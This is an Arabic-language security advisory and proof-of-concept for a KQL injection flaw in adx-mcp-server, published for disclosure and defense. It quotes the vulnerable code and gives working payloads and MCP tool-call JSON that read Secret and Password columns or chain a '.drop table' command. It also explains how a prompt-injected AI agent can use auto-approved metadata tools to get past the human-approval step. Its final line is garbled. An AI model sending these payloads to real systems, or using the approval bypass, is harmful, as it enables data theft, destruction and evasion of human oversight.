
إثبات مفهوم للاستغلال في حقن KQL في adx-mcp-server عبر المعامل table_name، مما يتيح تسريب البيانات وتنفيذ أوامر تدميرية في Azure Data Explorer.
الخطورة: عالية (CVSS 8.3)
CWE: CWE-943 — التحييد غير السليم للعناصر الخاصة في منطق استعلام البيانات
المتأثر: adx-mcp-server <= 1.1.0
الإشعار الأمني: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
الفضل: Romain Deperne
ثلاث أدوات MCP في adx-mcp-server تُدرج المعامل table_name مباشرةً في استعلامات KQL (Kusto Query Language) عبر f-strings. يمكن لمهاجم أو وكيل ذكاء اصطناعي تعرّض لحقن الأوامر (prompt injection) قراءة أي جدول في عنقود Azure Data Explorer، أو تنفيذ أوامر إدارية (.drop table)، أو تشغيل استعلامات تحليلية عشوائية — متجاوزًا حدود الثقة بين أدوات البيانات الوصفية "الآمنة" وأداة execute_query الخام.
كنت أتصفح قائمة awesome-mcp-servers باحثًا تحديدًا عن خوادم MCP التي تغلّف منصات البيانات السحابية — فهذه عالية الخطورة لأنها مصممة لمنح وكلاء الذكاء الاصطناعي وصولًا مباشرًا إلى قواعد البيانات، ومعاملات أدوات MCP قابلة للتحكم بالكامل من قِبل المهاجم (أي نموذج لغوي كبير يعالج بيانات غير موثوقة يمكن حقنه لتقديم معاملات أدوات خبيثة).
أظهرت مراجعة كيفية وصول معاملات أدوات MCP إلى استعلامات Azure Data Explorer وجود ثلاث عمليات إدراج مباشر في server.py: f"{table_name} | getschema"، وf"{table_name} | sample {sample_size}"، وf".show table {table_name} details".
الجزء المثير للاهتمام هو تجاوز حدود الثقة: يعرض الخادم كلاً من أداة execute_query الخام (والتي قد تتطلب عملاء MCP موافقة بشرية عليها) وأدوات فحص البيانات الوصفية "الآمنة" هذه (والتي تُعتمد تلقائيًا). يتيح الحقن عبر أدوات البيانات الوصفية تجاوز أي سياسة موافقة يفرضها العميل. هذا ما رفع الأمر من "خطأ حقن" إلى انتهاك حقيقي لحدود الأمان.
تتيح صيغة تعليقات KQL (//) للحِمل (payload) كتم بقية الاستعلام الأصلي.
الملف: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
تمرر الأدوات الثلاث table_name من وسائط أداة MCP مباشرةً إلى client.execute(config.database, query) دون أي تحقق.
تسمح KQL بتوصيل معاملات الاستعلام باستخدام | وتنفيذ أوامر الإدارة المسبوقة بـ .. يبدأ الحرف // تعليقًا سطريًا. لذلك يسمح الاستيفاء المباشر بـ f-string بحقن الاستعلام:
f"{table_name} | getschema" → إلحاق | project Secret // لتعليق | getschemaf".show table {table_name} details" → حقن \n.drop table لتسلسل أمر إدارةلماذا يهم هذا بما يتجاوز أداة execute_query الخام: غالبًا ما تفرّق عملاء MCP بين الأدوات "الآمنة" للقراءة فقط (المعتمدة تلقائيًا) وأدوات التنفيذ الخام (التي تتطلب تأكيدًا). يستهدف الحقن الأدوات "الآمنة" الخاصة بالبيانات الوصفية، متجاوزًا حدود الموافقة.
راجع poc.py للحصول على عرض توضيحي كامل. الحمولات الأساسية:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
استدعاءات أدوات MCP:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table و.drop extentstable_name خبيثة، مما يحوّل حقن الأوامر إلى وصول كامل للبيانات